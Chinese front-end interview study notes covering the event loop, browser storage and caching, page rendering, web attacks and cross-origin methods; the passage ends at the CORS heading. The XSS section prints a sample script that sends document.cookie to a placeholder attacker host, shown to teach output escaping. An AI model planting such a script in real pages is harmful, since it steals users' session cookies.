  • 团队想把所有异常都放在链尾一个 catch,另一方要求每个 then 后都接 catch;在包含局部降级和关键失败的页面链路中,你会怎样取舍?

    链尾 catch 适合集中接住未被处理中间步骤继续传播的拒绝,能保持主流程清晰。需要局部降级时可在对应位置捕获并返回明确替代值;关键失败若不能恢复就应再次抛出,否则 catch 的正常返回会把链转成 fulfilled,掩盖真实故障。

# Event Loop执行机制过程

⚡ 30 秒速记

  • 同步代码先进入调用栈执行,异步操作完成后只把回调放入对应队列
  • 每轮宏任务结束后会清空微任务队列,再给浏览器渲染机会
  • Promise.then、queueMicrotask 属于微任务;setTimeout、消息事件属于任务
  • async 函数在 await 之后的部分等价于放进微任务继续执行

Event Loop 的执行顺序是:先执行当前同步代码,再清空微任务,必要时渲染页面,最后进入下一轮宏任务。 异步操作完成后不会直接插入调用栈,而是把回调放进对应队列,等调用栈为空再处理。Promise.then、await 后续代码属于微任务,通常早于 setTimeout、DOM 事件等宏任务执行。比如同时打印同步代码、Promise 和定时器,顺序会是同步代码、微任务、定时器。

  • 同步代码一行行放到Call Stack执行,执行完就出栈
  • 遇到异步优先记录下,等待时机(定时、网络请求)
  • 时机到了就移动到Call Queue(宏任务队列)
    • 如果遇到微任务(如promise.then)放到微任务队列
    • 宏任务队列和微任务队列是分开存放的
      • 因为微任务是ES6语法规定的
      • 宏任务(setTimeout)是浏览器规定的
  • 如果Call Stack为空,即同步代码执行完,Event Loop开始工作
    • Call Stack为空,尝试先DOM渲染,在触发下一次Event Loop
  • 轮询查找Event Loop,如有则移动到Call Stack
  • 然后继续重复以上过程(类似永动机)

DOM事件和Event Loop

DOM事件会放到Web API中等待用户点击,放到Call Queue,在移动到Call Stack执行

  • JS是单线程的,异步(setTimeout、Ajax)使用回调,基于Event Loop
  • DOM事件也使用回调,DOM事件非异步,但也是基于Event Loop实现

宏任务和微任务

  • 介绍
    • 宏任务:setTimeout 、setInterval 、DOM事件、Ajax
    • 微任务:Promise.then、async/await
    • 微任务比宏任务执行的更早
    console.log(100)
    setTimeout(() => {
      console.log(200)
    })
    Promise.resolve().then(() => {
      console.log(300)
    })
    console.log(400)
    // 100 400 300 200
    
  • event loop 和 DOM 渲染
    • 每次call stack清空(每次轮询结束),即同步代码执行完。都是DOM重新渲染的机会,DOM结构如有改变重新渲染
    • 再次触发下一次Event Loop
    const $p1 = $('<p>一段文字</p>')
    const $p2 = $('<p>一段文字</p>')
    const $p3 = $('<p>一段文字</p>')
    $('#container')
                .append($p1)
                .append($p2)
                .append($p3)
    
    console.log('length',  $('#container').children().length )
    alert('本次 call stack 结束,DOM 结构已更新,但尚未触发渲染')
    // (alert 会阻断 js 执行,也会阻断 DOM 渲染,便于查看效果)
    // 到此,即本次 call stack 结束后(同步任务都执行完了),浏览器会自动触发渲染,不用代码干预
    
    // 另外,按照 event loop 触发 DOM 渲染时机,setTimeout 时 alert ,就能看到 DOM 渲染后的结果了
    setTimeout(function () {
      alert('setTimeout 是在下一次 Call Stack ,就能看到 DOM 渲染出来的结果了')
    })
    
  • 宏任务和微任务的区别
    • 宏任务:DOM 渲染后再触发,如setTimeout
    • 微任务:DOM 渲染前会触发,如Promise
    // 修改 DOM
    const $p1 = $('<p>一段文字</p>')
    const $p2 = $('<p>一段文字</p>')
    const $p3 = $('<p>一段文字</p>')
    $('#container')
        .append($p1)
        .append($p2)
        .append($p3)
    
    // 微任务:渲染之前执行(DOM 结构已更新,看不到元素还没渲染)
    // Promise.resolve().then(() => {
    //     const length = $('#container').children().length
    //     alert(`micro task ${length}`) // DOM渲染了?No
    // })
    
    // 宏任务:渲染之后执行(DOM 结构已更新,可以看到元素已经渲染)
    setTimeout(() => {
      const length = $('#container').children().length
      alert(`macro task ${length}`) // DOM渲染了?Yes
    })
    

再深入思考一下:为何两者会有以上区别,一个在渲染前,一个在渲染后?

  • 微任务:ES 语法标准之内,JS 引擎来统一处理。即,不用浏览器有任何干预,即可一次性处理完,更快更及时。
  • 宏任务:ES 语法没有,JS 引擎不处理,浏览器(或 nodejs)干预处理。

总结:正确的一次 Event loop 顺序是这样

  • 执行同步代码,这属于宏任务
  • 执行栈为空,查询是否有微任务需要执行
  • 执行所有微任务
  • 必要的话渲染 UI
  • 然后开始下一轮 Event loop,执行宏任务中的异步代码

通过上述的 Event loop 顺序可知,如果宏任务中的异步代码有大量的计算并且需要操作 DOM 的话,为了更快的响应界面响应,我们可以把操作 DOM 放入微任务中

💬 面试官追问

  • 一个商品页先执行同步日志,再注册 Promise.then 和 setTimeout(..., 0),最后继续打印同步日志;有人认为定时器设为零就会最先执行,你如何判断实际顺序?

    同步日志先按代码顺序执行,调用栈清空后才处理微任务队列中的 Promise.then,随后进入下一轮执行 setTimeout。0 只表示最短等待意图,不会让定时器越过当前同步任务和已排队的微任务。

  • 搜索联想页收到接口结果后要更新列表,同时安排埋点上报;你会怎样安排 Promise.then、DOM 修改和 setTimeout,让用户尽快看到结果?

    接口回调所在任务中可修改 DOM,并把必须紧随其后的轻量逻辑放入微任务;微任务清空后浏览器才获得渲染机会,setTimeout 通常留到后续任务。不要把大量计算塞进微任务,否则会持续推迟渲染,页面仍会卡顿。

  • 聊天页一次收到上万条消息,团队打算把每批渲染都递归放进 Promise.then,认为微任务比宏任务快;数据规模扩大后会发生什么?

    递归补充微任务会让浏览器长时间无法走到渲染和下一轮任务,消息虽然持续处理,界面却可能不更新,点击事件也会延迟。应拆成有限批次,并在批次间让出执行机会;微任务适合及时收尾,不适合作为无限计算队列。

  • 线上弹窗关闭后偶尔要等很久按钮点击才生效,Performance 记录显示调用栈结束后连续出现大量 Promise 回调;你会如何定位?

    先检查是否存在微任务链递归、回调中再次创建已决议 Promise,以及单个回调内的重计算。连续微任务会在下一次渲染和 DOM 事件任务之前被清空;定位到来源后应分批或迁移非关键工作,但拆分会增加状态管理复杂度。

  • 动画页需要在 DOM 更新后读取节点数量并启动视觉效果,同事分别建议 Promise.then 和 setTimeout;两者应如何取舍?

    若只需读取已更新的 DOM 结构,Promise.then 可在渲染前执行,因为 DOM 树已经变更;若必须等用户看到新画面后再做后续工作,应留到后续任务或合适的渲染时机。把“DOM 已更新”和“像素已绘制”混为一谈,会造成时序误判。

# 3 浏览器

# 储存

⚡ 30 秒速记

  • cookie,localStorage,sessionStorage,indexDB

浏览器常见存储方式有 cookie、localStorage、sessionStorage 和 IndexedDB,选择时主要看容量、生命周期和是否随请求发送。 cookie 容量小且会放进请求头,更适合服务端需要读取的状态;普通前端数据可按是否需要跨会话保留,选择 localStorage 或 sessionStorage。数据量较大时可以考虑 IndexedDB,它不会随请求传输。离线缓存文件则通常使用 Service Worker 拦截请求并配合缓存,但运行环境需要 HTTPS。

涉及面试题:有几种方式可以实现存储功能,分别有什么优缺点?什么是 Service Worker?

cookie,localStorage,sessionStorage,indexDB

特性 cookie localStorage sessionStorage indexDB
数据生命周期 一般由服务器生成,可以设置过期时间 除非被清理,否则一直存在 页面关闭就清理 除非被清理,否则一直存在
数据存储大小 4KB 5M 5M 无限
与服务端通信 每次都会携带在 header 中,对于请求性能影响 不参与 不参与 不参与

从上表可以看到,cookie 已经不建议用于存储。如果没有大量数据存储需求的话,可以使用 localStorage 和 sessionStorage 。对于不怎么改变的数据尽量使用 localStorage 存储,否则可以用 sessionStorage存储

对于 cookie 来说,我们还需要注意安全性。

属性 作用
value 如果用于保存用户登录态,应该将该值加密,不能使用明文的用户标识
http-only 不能通过 JS 访问 Cookie,减少 XSS 攻击
secure 只能在协议为 HTTPS 的请求中携带
same-site 规定浏览器不能在跨域请求中携带 Cookie,减少 CSRF 攻击

Service Worker

  • Service Worker 是运行在浏览器背后的独立线程,一般可以用来实现缓存功能。使用 Service Worker的话,传输协议必须为 HTTPS。因为 Service Worker 中涉及到请求拦截,所以必须使用 HTTPS 协议来保障安全
  • Service Worker 实现缓存功能一般分为三个步骤:首先需要先注册 Service Worker,然后监听到 install 事件以后就可以缓存需要的文件,那么在下次用户访问的时候就可以通过拦截请求的方式查询是否存在缓存,存在缓存的话就可以直接读取缓存文件,否则就去请求数据。以下是这个步骤的实现:
// index.js
if (navigator.serviceWorker) {
  navigator.serviceWorker
    .register('sw.js')
    .then(function(registration) {
      console.log('service worker 注册成功')
    })
    .catch(function(err) {
      console.log('servcie worker 注册失败')
    })
}
// sw.js
// 监听 `install` 事件,回调中缓存所需文件
self.addEventListener('install', e => {
  e.waitUntil(
    caches.open('my-cache').then(function(cache) {
      return cache.addAll(['./index.html', './index.js'])
    })
  )
})

// 拦截所有请求事件
// 如果缓存中已经有请求的数据就直接用缓存,否则去请求数据
self.addEventListener('fetch', e => {
  e.respondWith(
    caches.match(e.request).then(function(response) {
      if (response) {
        return response
      }
      console.log('fetch source')
    })
  )
})

打开页面,可以在开发者工具中的 Application 看到 Service Worker 已经启动了

在 Cache 中也可以发现我们所需的文件已被缓存

当我们重新刷新页面可以发现我们缓存的数据是从 Service Worker 中读取的

💬 面试官追问

  • 登录页准备把用户身份写进 localStorage,理由是容量比 cookie 大且不会随请求发送;安全负责人为什么会反对,你会改成什么边界?

    localStorage 能被页面脚本读取,不适合直接承担敏感登录凭据的保护边界;登录态更适合由服务端设置带 HttpOnly、Secure 和合适 SameSite 的 cookie。即便如此仍需防范 XSS 与 CSRF,属性配置不能替代服务端鉴权。

  • 表单页需要保留几百 KB 草稿:关闭当前标签后不再需要,但同一标签刷新时要恢复;你会选 sessionStorage、localStorage 还是 cookie?

    该生命周期更贴合 sessionStorage:刷新仍可读取,页面会话结束后清理,而且数据不会随每次请求进入请求头。cookie 容量小且增加传输开销,localStorage 又会长期残留;若草稿继续增大或结构复杂,应评估 IndexedDB。

  • 离线地图页要持久保存大量结构化数据,产品又要求下次打开仍能使用;继续把数据塞进 localStorage 会遇到什么约束?

    大量持久化数据更适合 IndexedDB,localStorage 容量有限,难以承载此类规模;sessionStorage 的生命周期也不符合离线复用要求。来源中的“无限”应理解为容量更宽松而非绝对无上限,仍可能受浏览器配额和清理策略影响。

  • PWA 发布后刷新仍请求不到离线首页,开发者工具显示 Service Worker 已注册,但缓存列表没有 index.html;你会沿哪些事件和代码检查?

    先看 install 事件中的 waitUntil 是否等待了 caches.open 与 cache.addAll,并确认资源路径可访问、页面处于 HTTPS 安全环境。再检查 fetch 是否调用 respondWith,未命中时是否真正返回 fetch(e.request);漏掉返回值会让请求直接失败。

  • 资讯页的静态壳既能放 Cache Storage,也能只依赖浏览器 HTTP 缓存;前端负责人想获得精细离线控制,运维则希望规则简单,你会怎样取舍?

    需要自定义匹配、主动决定缓存文件和离线响应时,可采用 Service Worker 与 Cache Storage;只需常规资源复用时,HTTP 缓存配置更简单。前者必须处理注册、更新、缓存版本和未命中回源,规则错误还可能长期向用户提供旧资源。

# 浏览器缓存机制

⚡ 30 秒速记

  • 缓存可以说是性能优化中简单高效的一种优化方式了,它可以显著减少网络传输所带来的损耗

浏览器缓存本质上是复用已有资源,减少重复请求和响应数据,通常分为强缓存与协商缓存。 强缓存通过 Cache-Control 或 Expires 判断资源能否直接使用,命中时不必请求服务器;缓存过期后,可用 ETag 或 Last-Modified 协商,资源未变化就返回 304。实际项目里,频繁变化的资源可用 no-cache 配合协商缓存。带哈希文件名的代码资源则适合设置较长的 max-age,内容变化后通过新文件名更新。

注意:该知识点属于性能优化领域,并且整一章节都是一个面试题

  • 缓存可以说是性能优化中简单高效的一种优化方式了,它可以显著减少网络传输所带来的损耗。
  • 对于一个数据请求来说,可以分为发起网络请求、后端处理、浏览器响应三个步骤。浏览器缓存可以帮助我们在第一和第三步骤中优化性能。比如说直接使用缓存而不发起请求,或者发起了请求但后端存储的数据和前端一致,那么就没有必要再将数据回传回来,这样就减少了响应数据。

接下来的内容中我们将通过以下几个部分来探讨浏览器缓存机制:

  • 缓存位置
  • 缓存策略
  • 实际场景应用缓存策略

1. 缓存位置

从缓存位置上来说分为四种,并且各自有优先级,当依次查找缓存且都没有命中的时候,才会去请求网络

  1. Service Worker
  2. Memory Cache
  3. Disk Cache
  4. Push Cache
  5. 网络请求

1.1 Service Worker

  • service Worker 的缓存与浏览器其他内建的缓存机制不同,它可以让我们自由控制缓存哪些文件、如何匹配缓存、如何读取缓存,并且缓存是持续性的。
  • 当 Service Worker 没有命中缓存的时候,我们需要去调用 fetch 函数获取数据。也就是说,如果我们没有在 Service Worker 命中缓存的话,会根据缓存查找优先级去查找数据。但是不管我们是从 Memory Cache 中还是从网络请求中获取的数据,浏览器都会显示我们是从 Service Worker 中获取的内容。

1.2 Memory Cache

  • Memory Cache 也就是内存中的缓存,读取内存中的数据肯定比磁盘快。但是内存缓存虽然读取高效,可是缓存持续性很短,会随着进程的释放而释放。 一旦我们关闭 Tab 页面,内存中的缓存也就被释放了。
  • 当我们访问过页面以后,再次刷新页面,可以发现很多数据都来自于内存缓存

那么既然内存缓存这么高效,我们是不是能让数据都存放在内存中呢?

  • 先说结论,这是不可能的。首先计算机中的内存一定比硬盘容量小得多,操作系统需要精打细算内存的使用,所以能让我们使用的内存必然不多。内存中其实可以存储大部分的文件,比如说 JS、HTML、CSS、图片等等
  • 当然,我通过一些实践和猜测也得出了一些结论:
  • 对于大文件来说,大概率是不存储在内存中的,反之优先当前系统内存使用率高的话,文件优先存储进硬盘

1.3 Disk Cache

  • Disk Cache 也就是存储在硬盘中的缓存,读取速度慢点,但是什么都能存储到磁盘中,比之 Memory Cache 胜在容量和存储时效性上。
  • 在所有浏览器缓存中,Disk Cache 覆盖面基本是最大的。它会根据 HTTP Herder 中的字段判断哪些资源需要缓存,哪些资源可以不请求直接使用,哪些资源已经过期需要重新请求。并且即使在跨站点的情况下,相同地址的资源一旦被硬盘缓存下来,就不会再次去请求数据

1.4 Push Cache

  • Push Cache 是 HTTP/2 中的内容,当以上三种缓存都没有命中时,它才会被使用。并且缓存时间也很短暂,只在会话(Session)中存在,一旦会话结束就被释放。
  • Push Cache 在国内能够查到的资料很少,也是因为 HTTP/2 在国内不够普及,但是 HTTP/2 将会是日后的一个趋势

结论

  • 所有的资源都能被推送,但是 Edge 和 Safari 浏览器兼容性不怎么好
  • 可以推送 no-cache 和 no-store 的资源
  • 一旦连接被关闭,Push Cache 就被释放
  • 多个页面可以使用相同的 HTTP/2 连接,也就是说能使用同样的缓存
  • Push Cache 中的缓存只能被使用一次
  • 浏览器可以拒绝接受已经存在的资源推送
  • 你可以给其他域名推送资源

1.5 网络请求

  • 如果所有缓存都没有命中的话,那么只能发起请求来获取资源了。
  • 那么为了性能上的考虑,大部分的接口都应该选择好缓存策略,接下来我们就来学习缓存策略这部分的内容

2 缓存策略

通常浏览器缓存策略分为两种:强缓存和协商缓存,并且缓存策略都是通过设置 HTTP Header 来实现的

2.1 强缓存

强缓存可以通过设置两种 HTTP Header 实现:Expires 和 Cache-Control 。强缓存表示在缓存期间不需要请求,state code 为 200

Expires

Expires: Wed, 22 Oct 2018 08:41:00 GMT

Expires 是 HTTP/1 的产物,表示资源会在 Wed, 22 Oct 2018 08:41:00 GMT 后过期,需要再次请求。并且 Expires 受限于本地时间,如果修改了本地时间,可能会造成缓存失效。

Cache-control

Cache-control: max-age=30
  • Cache-Control 出现于 HTTP/1.1,优先级高于 Expires 。该属性值表示资源会在 30 秒后过期,需要再次请求。
  • Cache-Control 可以在请求头或者响应头中设置,并且可以组合使用多种指令

从图中我们可以看到,我们可以将多个指令配合起来一起使用,达到多个目的。比如说我们希望资源能被缓存下来,并且是客户端和代理服务器都能缓存,还能设置缓存失效时间等

一些常见指令的作用

2.2 协商缓存

  • 如果缓存过期了,就需要发起请求验证资源是否有更新。协商缓存可以通过设置两种 HTTP Header 实现:Last-Modified 和 ETag
  • 当浏览器发起请求验证资源时,如果资源没有做改变,那么服务端就会返回 304 状态码,并且更新浏览器缓存有效期。

Last-Modified 和 If-Modified-Since

Last-Modified 表示本地文件最后修改日期,If-Modified-Since 会将 Last-Modified 的值发送给服务器,询问服务器在该日期后资源是否有更新,有更新的话就会将新的资源发送回来,否则返回 304 状态码。

但是 Last-Modified 存在一些弊端:

  • 如果本地打开缓存文件,即使没有对文件进行修改,但还是会造成 Last-Modified 被修改,服务端不能命中缓存导致发送相同的资源
  • 因为 Last-Modified 只能以秒计时,如果在不可感知的时间内修改完成文件,那么服务端会认为资源还是命中了,不会返回正确的资源 因为以上这些弊端,所以在 HTTP / 1.1 出现了 ETag

ETag 和 If-None-Match

  • ETag 类似于文件指纹,If-None-Match 会将当前 ETag 发送给服务器,询问该资源 ETag 是否变动,有变动的话就将新的资源发送回来。并且 ETag 优先级比 Last-Modified 高。

以上就是缓存策略的所有内容了,看到这里,不知道你是否存在这样一个疑问。如果什么缓存策略都没设置,那么浏览器会怎么处理?

对于这种情况,浏览器会采用一个启发式的算法,通常会取响应头中的 Date 减去 Last-Modified 值的 10% 作为缓存时间。

2.3 实际场景应用缓存策略

频繁变动的资源

对于频繁变动的资源,首先需要使用 Cache-Control: no-cache 使浏览器每次都请求服务器,然后配合 ETag 或者 Last-Modified 来验证资源是否有效。这样的做法虽然不能节省请求数量,但是能显著减少响应数据大小。

代码文件

这里特指除了 HTML 外的代码文件,因为 HTML 文件一般不缓存或者缓存时间很短。

一般来说,现在都会使用工具来打包代码,那么我们就可以对文件名进行哈希处理,只有当代码修改后才会生成新的文件名。基于此,我们就可以给代码文件设置缓存有效期一年 Cache-Control: max-age=31536000,这样只有当 HTML 文件中引入的文件名发生了改变才会去下载最新的代码文件,否则就一直使用缓存

更多缓存知识详解 http://blog.poetries.top/2019/01/02/browser-cache

💬 面试官追问

  • 运营把首页接口设成 Cache-Control: no-cache 后,发现每次仍有请求,就认定缓存完全失效;Network 中多次返回 304,你怎么解释?

    no-cache 不是禁止保存,而是要求使用缓存前向服务器验证;命中 ETag 或 Last-Modified 时可返回 304,无需再次传输响应体。若业务要求任何位置都不存储,应使用更严格的禁存策略,但会失去缓存带来的性能收益。

  • 前端构建产出 app.a8f3.js,文件名随内容变化,HTML 入口又可能频繁更新;你会分别怎样设置缓存,避免发布后用户拿到旧代码?

    带内容哈希的 JS、CSS 可设置较长 Cache-Control: max-age,内容变化会生成新 URL,从而绕过旧缓存。HTML 应不缓存或设置较短缓存,并可配合协商验证;若入口被长期强缓存,即使新资源已发布,用户仍可能引用旧文件名。

  • 头像接口一天内会多次更新,但后端只能提供修改时间,且文件可能在同一秒内连续变化;继续依赖 Last-Modified 有什么风险,如何调整?

    Last-Modified 的时间精度可能无法识别同一秒内的连续变更,也可能因文件时间变化而误判内容已更新。条件允许时应改用内容指纹式 ETag,由 If-None-Match 验证;生成和比较标识会增加服务端处理成本。

  • 线上用户反馈刷新后仍看到旧 CSS,Network 显示资源来自 Service Worker,但团队只检查了 CDN 的 Cache-Control;你会怎样划分排查层次?

    先检查 Service Worker 的匹配规则、缓存版本和 fetch 响应,因为它可在 HTTP 缓存之前直接返回内容。再依次确认内存、磁盘缓存及网络响应头;只改 CDN 无法替换已被脚本命中的旧缓存,修复时还要设计安全的缓存迁移。

  • API 团队在频繁变动的列表接口上争论“完全不缓存”和“长期强缓存”,而响应体较大但多数请求内容未变;你会选什么策略?

    更合适的是 Cache-Control: no-cache 配合 ETag 或 Last-Modified,每次验证新鲜度,未变化时用 304 减少响应体传输。它不能减少请求次数,仍会产生网络往返;若连验证延迟也不可接受,才需要结合业务容忍度设计短期强缓存。

  • 一次资源请求显示状态为 200,但传输栏标记来自内存缓存;另一请求返回 304,两者与强缓存、协商缓存是什么关系?

    内存或磁盘中的强缓存命中时通常直接复用资源,不必向服务器验证,开发者工具仍可能展示 200 语义。304 表示缓存已进入验证流程且资源未变化,属于协商缓存;判断时应同时看请求是否发出、响应头和资源来源。

# 从输入URL 到网页显示的完整过程

⚡ 30 秒速记

  • DNS查询(得到IP),建立TCP连接(三次握手)

从输入 URL 到页面显示,会依次经历网络连接、资源获取、结构解析、布局和绘制。 浏览器先通过 DNS 得到 IP,建立 TCP 连接并发送 HTTP 请求,拿到 HTML 后还会继续加载 CSS、JS 和图片等资源。随后由 HTML 和 CSS 分别构建 DOM、CSSOM,合成渲染树,再计算尺寸与位置并绘制页面。普通脚本可能阻塞解析,因此我一般把脚本放在页面底部,或结合 defer、async 控制下载和执行时机。

  • 网络请求
    • DNS查询(得到IP),建立TCP连接(三次握手)
    • 浏览器发送HTTP请求
    • 收到请求响应,得到HTML源码。继续请求静态资源
      • 在解析HTML过程中,遇到静态资源(JS、CSS、图片等)还会继续发起网络请求
      • 静态资源可能有缓存
  • 解析:字符串=>结构化数据
    • HTML构建DOM树
    • CSS构建CSSOM树(style tree)
    • 两者结合,形成render tree
    • 优化解析
      • CSS放在<head/>中,不要异步加载CSS
      • JS放到<body/>下面,不阻塞HTML解析(或结合defer、async)
      • <img />提前定义width、height,避免页面重新渲染
  • 渲染:Render Tree绘制到页面
    • 计算DOM的尺寸、定位,最后绘制到页面
    • 遇到JS会执行,阻塞HTML解析。如果设置了defer,则并行下载JS,等待HTML解析完,在执行JS;如果设置了async,则并行下载JS,下载完立即执行,在继续解析HTML(JS是单线程的,JS执行和DOM渲染互斥,等JS执行完,在解析渲染DOM)
    • 异步CSS、异步图片,可能会触发重新渲染

连环问:网页重绘repaint和重排reflow有什么区别

  • 重绘
    • 元素外观改变:如颜色、背景色
    • 但元素的尺寸、定位不变,不会影响其他元素的位置
  • 重排
    • 重新计算尺寸和布局,可能会影响其他元素的位置
    • 如元素高度的增加,可能会使相邻的元素位置改变
    • 重排必定触发重绘,重绘不一定触发重排。重绘的开销较小,重排的代价较高。
    • 减少重排的方法
      • 使用BFC特性,不影响其他元素位置
      • 频繁触发(resize、scroll)使用节流和防抖
      • 使用createDocumentFragment批量操作DOM
      • 编码上,避免连续多次修改,可通过合并修改,一次触发
      • 对于大量不同的 dom 修改,可以先将其脱离文档流,比如使用绝对定位,或者 display:none,在文档流外修改完成后再放回文档里中
      • 动画实现的速度的选择,动画速度越快,回流次数越多,也可以选择使用 requestAnimationFrame
      • css3 硬件加速,transform、opacity、filters,开启后,会新建渲染层

💬 面试官追问

  • 商品页把大段同步脚本放在 <head>,首屏 HTML 已返回却长时间白屏;开发者说网络已经结束,所以与脚本无关,你如何反驳?

    拿到 HTML 只是开始,浏览器仍要解析并构建 DOM、CSSOM 和渲染树;普通同步脚本会阻塞后续 HTML 解析,而且 JS 执行与 DOM 渲染互斥。可下移脚本或使用合适的 defer,但依赖执行顺序的代码必须一并验证。

  • 页面有两个依赖 DOM 的脚本,一个使用 defer,另一个使用 async;网络速度波动时,为什么后者可能偶发读取不到目标节点?

    defer 会并行下载并等待 HTML 解析完成后执行,更适合依赖 DOM 的脚本;async 下载完成便立即执行,可能打断解析,此时目标节点尚未创建。改动属性前还要检查脚本间依赖,否则执行顺序变化会引入新的竞态。

  • 瀑布流一次插入数千个节点,团队逐条修改尺寸并立即读取布局;数据量扩大后页面频繁卡顿,你会怎样降低重排成本?

    应合并 DOM 修改,借助 DocumentFragment 批量插入,并避免写样式和读布局交替发生;必要时让待修改区域暂时脱离文档流。重排会重新计算尺寸和位置并触发重绘,批处理能减少次数,但一次提交过大仍可能形成长任务。

  • 线上首屏图片加载时文字不断跳动,脚本耗时并不高;你会从渲染链路中的哪一段定位,并采取什么措施?

    应重点检查图片等异步资源加载后是否改变元素尺寸并触发重排,而不只看 JS 执行时间。为图片预先声明 width、height 或稳定占位,可让布局阶段提前确定空间;若真实比例与占位不一致,仍会产生偏移或拉伸。

  • 动效负责人想通过不断修改 top 实现高频动画,性能负责人建议改用 transform 和 requestAnimationFrame;这项取舍依据是什么?

    修改 top 可能引发布局重新计算,继而重绘;transform、opacity 等更可能利用独立渲染层,配合 requestAnimationFrame 对齐渲染节奏。新建图层也会消耗资源,不能无边界地给大量元素开启硬件加速。

  • 用户输入 URL 后偶发首屏慢,你需要向网络、解析和渲染三个角色分派证据,各自应关注什么?

    网络侧看 DNS、TCP 建连、HTTP 响应及静态资源缓存;解析侧看 HTML、CSSOM 构建和阻塞脚本;渲染侧看布局、绘制及异步资源引起的重排。三段可能相互等待,单看总加载时间无法证明瓶颈归属。

# 常见的web前端攻击方式有哪些

⚡ 30 秒速记

  • Cross Site Script 跨站脚本攻击

常见的 Web 攻击包括 XSS、CSRF、点击劫持,以及服务端侧的 DDoS 和 SQL 注入。 XSS 是把恶意 JS 注入页面执行,需要转义特殊字符;CSRF 则是借用用户已有的 cookie 伪造请求,可通过校验 referer、设置 SameSite、使用 token 或验证码防护。点击劫持通常利用透明 iframe 诱导点击,应限制页面被跨域嵌入。要注意,CSRF 只是借用 cookie,真正可能窃取 cookie 的是 XSS。

XSS

  • Cross Site Script 跨站脚本攻击
  • 手段:黑客将JS代码插入到网页内容中,渲染时执行JS代码
  • 预防:特殊字符串替换(前端或后端)
// 用户提交
const str = `
  <p>123123</p>
  <script>
      var img = document.createElement('image')
      // 把cookie传递到黑客网站 img可以跨域
      img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie
  </script>
`
const newStr = str.replaceAll('<', '&lt;').replaceAll('>', '&gt;')
// 替换字符,无法在页面中渲染
//   &lt;script&gt;
//     var img = document.createElement('image')
//     img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie
// &lt;/script&gt;

CSRF

  • Cross Site Request Forgery 跨站请求伪造
  • 手段:黑盒诱导用户去访问另一个网站的接口,伪造请求
  • 预防:严格的跨域限制 + 验证码机制
    • 判断 referer
    • 为cookie设置sameSite属性,禁止第三方网页跨域的请求能携带上cookie
    • 使用token
    • 关键接口使用短信验证码

注意:偷取cookie是XSS做的事,CSRF的作用是借用cookie,并不能获取cookie

CSRF攻击攻击原理及过程如下:

  • 用户登录了A网站,有了cookie
  • 黑盒诱导用户到B网站,并发起A网站的请求
  • A网站的API发现有cookie,会在请求中携带A网站的cookie,认为是用户自己操作的

点击劫持

  • 手段:诱导界面上设置透明的iframe,诱导用户点击
  • 预防:让iframe不能跨域加载

DDOS

  • Distribute denial-of-service 分布式拒绝服务
  • 手段:分布式的大规模的流量访问,使服务器瘫痪
  • 预防:软件层不好做,需硬件预防(如阿里云的WAF 购买高防)

SQL注入

  • 手段:黑客提交内容时,写入sql语句,破坏数据库
  • 预防:处理内容的输入,替换特殊字符

💬 面试官追问

  • 评论区把用户输入中的 <script> 标签删掉后就宣称解决了 XSS,但内容还会进入 HTML 属性和链接地址;这套过滤为什么不可靠?

    只删除 <script> 无法覆盖不同输出上下文中的可执行内容,攻击代码不一定以该标签出现。应按 HTML 文本、属性或 URL 等落点做恰当编码或限制,并避免把不可信字符串直接作为 HTML 渲染;粗暴替换还可能破坏正常内容。

  • 转账接口已经有前端确认弹窗,但攻击者在其他网站诱导已登录用户发起请求;后端看到合法 cookie 时应怎样阻断?

    这是借用登录 cookie 的 CSRF 风险,不是读取 cookie;服务端应验证防伪 token 或请求来源,并为 cookie 设置合适的 SameSite。高风险操作可增加验证码或二次确认,但会提高用户操作成本。

  • 单点登录要求部分跨站场景携带 cookie,安全负责人又希望把 SameSite 设得最严格;业务约束变化后如何处理这场冲突?

    不能在需要跨站携带凭据时机械采用完全禁止跨站的配置,应先限定必要的跳转和请求范围,再配合 CSRF token、来源校验及 HTTPS。放宽 SameSite 会扩大攻击面,因此服务端鉴权和关键操作复核必须成为主要边界。

  • 后台管理页出现异常请求,怀疑有人利用存储型 XSS 窃取身份;你会检查哪些证据,并如何限制损失?

    先定位异常内容的提交来源、存储记录和渲染位置,再检查页面是否把它作为 HTML 执行以及相关请求日志。登录 cookie 应设置 HttpOnly 以减少脚本读取机会,同时修复输出编码;若恶意脚本已执行,它仍可能借用户身份发请求。

  • 运营活动必须嵌入第三方页面,但安全团队担心透明 iframe 诱导点击;继续允许嵌入时应怎样划定方案边界?

    点击劫持依赖把目标页面置于透明或伪装的 iframe 中诱导操作,因此敏感页面应限制被跨域框架加载。若业务必须开放特定嵌入方,应只授权明确来源并隔离高风险操作;全面开放最省接入成本,但安全边界最弱。

  • 秒杀活动同时遭遇异常大流量和恶意参数,团队想只靠前端限流与字符替换解决 DDoS、SQL 注入;为什么职责划分不成立?

    前端限制可被绕过,DDoS 需要服务端、网关或高防设施承接流量治理;SQL 注入则应在服务端校验输入并避免让输入改变 SQL 结构。两类攻击层次不同,统一做字符串替换既挡不住洪泛,也容易遗漏注入变体。

# 跨域方案

⚡ 30 秒速记

  • 因为浏览器出于安全考虑,有同源策略

跨域是协议、域名或端口不同触发浏览器同源策略,常用方案是 CORS 或通过代理把请求转成同源。 CORS 最通用,由服务端配置 Access-Control-Allow-* 响应头;非简单请求还会先发送 OPTIONS 预检。开发环境我一般用脚手架的 Proxy,线上则可用 Nginx 或 Node 中间层转发。JSONP 兼容性较好但只支持 GET,而 postMessage 更适合页面与 iframe 之间通信,应按场景选择。

因为浏览器出于安全考虑,有同源策略。也就是说,如果协议、域名、端口有一个不同就是跨域,Ajax 请求会失败。

我们可以通过以下几种常用方法解决跨域的问题

4.1 JSONP

JSONP 的原理很简单,就是利用 <script> 标签没有跨域限制的漏洞。通过 <script> 标签指向一个需要访问的地址并提供一个回调函数来接收数据

涉及到的端

JSONP 需要服务端和前端配合实现。

<script src="http://domain/api?param1=a&param2=b&callback=jsonp"></script>
<script>
    function jsonp(data) {
    	console.log(data)
	}
</script>    

JSONP 使用简单且兼容性不错,但是只限于 get 请求

具体实现方式

  • 在开发中可能会遇到多个 JSONP 请求的回调函数名是相同的,这时候就需要自己封装一个 JSONP,以下是简单实现
function jsonp(url, jsonpCallback, success) {
  let script = document.createElement("script");
  script.src = url;
  script.async = true;
  script.type = "text/javascript";
  window[jsonpCallback] = function(data) {
    success && success(data);
  };
  document.body.appendChild(script);
}
jsonp(
  "http://xxx",
  "callback",
  function(value) {
    console.log(value);
  }
);

4.2 CORS

